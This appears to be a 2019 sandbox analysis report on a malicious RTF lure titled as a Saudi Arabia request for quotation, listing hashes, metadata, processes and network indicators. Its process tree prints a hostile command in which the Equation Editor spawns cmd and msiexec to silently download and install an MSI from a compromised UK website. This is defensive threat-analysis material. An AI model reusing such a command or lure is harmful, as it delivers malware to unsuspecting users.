File name: | RFQ exw Saudi Arabia.doc |
Full analysis: | https://app.any.run/tasks/79463324-6e16-40fd-90e9-8bab6e1dfe2f |
Verdict: | Malicious activity |
Analysis date: | January 10, 2019, 16:10:36 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/rtf |
File info: | Rich Text Format data, version 1, unknown character set |
MD5: | 94D56BBC2A03227C70B2F230046953DF |
SHA1: | 097CC91EC878C152B1BAE3B660543F5BB92E09D0 |
SHA256: | 434482B3F4F8886907224853143BD415D75B311B5D504F6917C2FF48E072EBFD |
SSDEEP: | 12288:bWNi7/pWPeduxyW1Wc6Xj77KTK9qc5i4MUqYP9:bUi7xWdnQj1J5rqk9 |
.rtf | | | Rich Text Format (100) |
---|
InternalVersionNumber: | 57433 |
---|---|
CharactersWithSpaces: | 1263 |
Characters: | 1077 |
Words: | 188 |
Pages: | 1 |
TotalEditTime: | 47 minutes |
RevisionNumber: | 28 |
ModifyDate: | 2018:12:31 11:10:00 |
CreateDate: | 2018:01:23 22:18:00 |
LastModifiedBy: | BINGHERO |
Author: | obidah qudah |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3016 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\RFQ exw Saudi Arabia.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
3412 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
4084 | cmd.exe & /C CD C: & msiexec.exe /i https://thementalhealthfoundation.meltdesigndev.co.uk/wp-content/themes/melt_default/includes/_notes/proforma.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1619 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2548 | msiexec.exe /i https://thementalhealthfoundation.meltdesigndev.co.uk/wp-content/themes/melt_default/includes/_notes/proforma.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2272 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2624 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
|
PID | Process | Filename | Type | |
---|---|---|---|---|
3016 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE93B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3016 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$Q exw Saudi Arabia.doc | pgc | |
MD5:C1FFECD94BB6A2D063CAAC1026C12C23 | SHA256:6BE47300744269A4C843193A37214BCEF9EE8B1FF3F99305BF0CA19D8A296474 | |||
3016 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:562FE999368B94AB908D9AA32036F8F0 | SHA256:D8AA20CC6D16C82CDE094ECFFA046902F9E2298F557272AA4FD9DAB504034E3C |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2272 | msiexec.exe | 31.170.123.172:443 | thementalhealthfoundation.meltdesigndev.co.uk | UK Webhosting Ltd | GB | suspicious |
Domain | IP | Reputation |
---|---|---|
thementalhealthfoundation.meltdesigndev.co.uk |
| suspicious |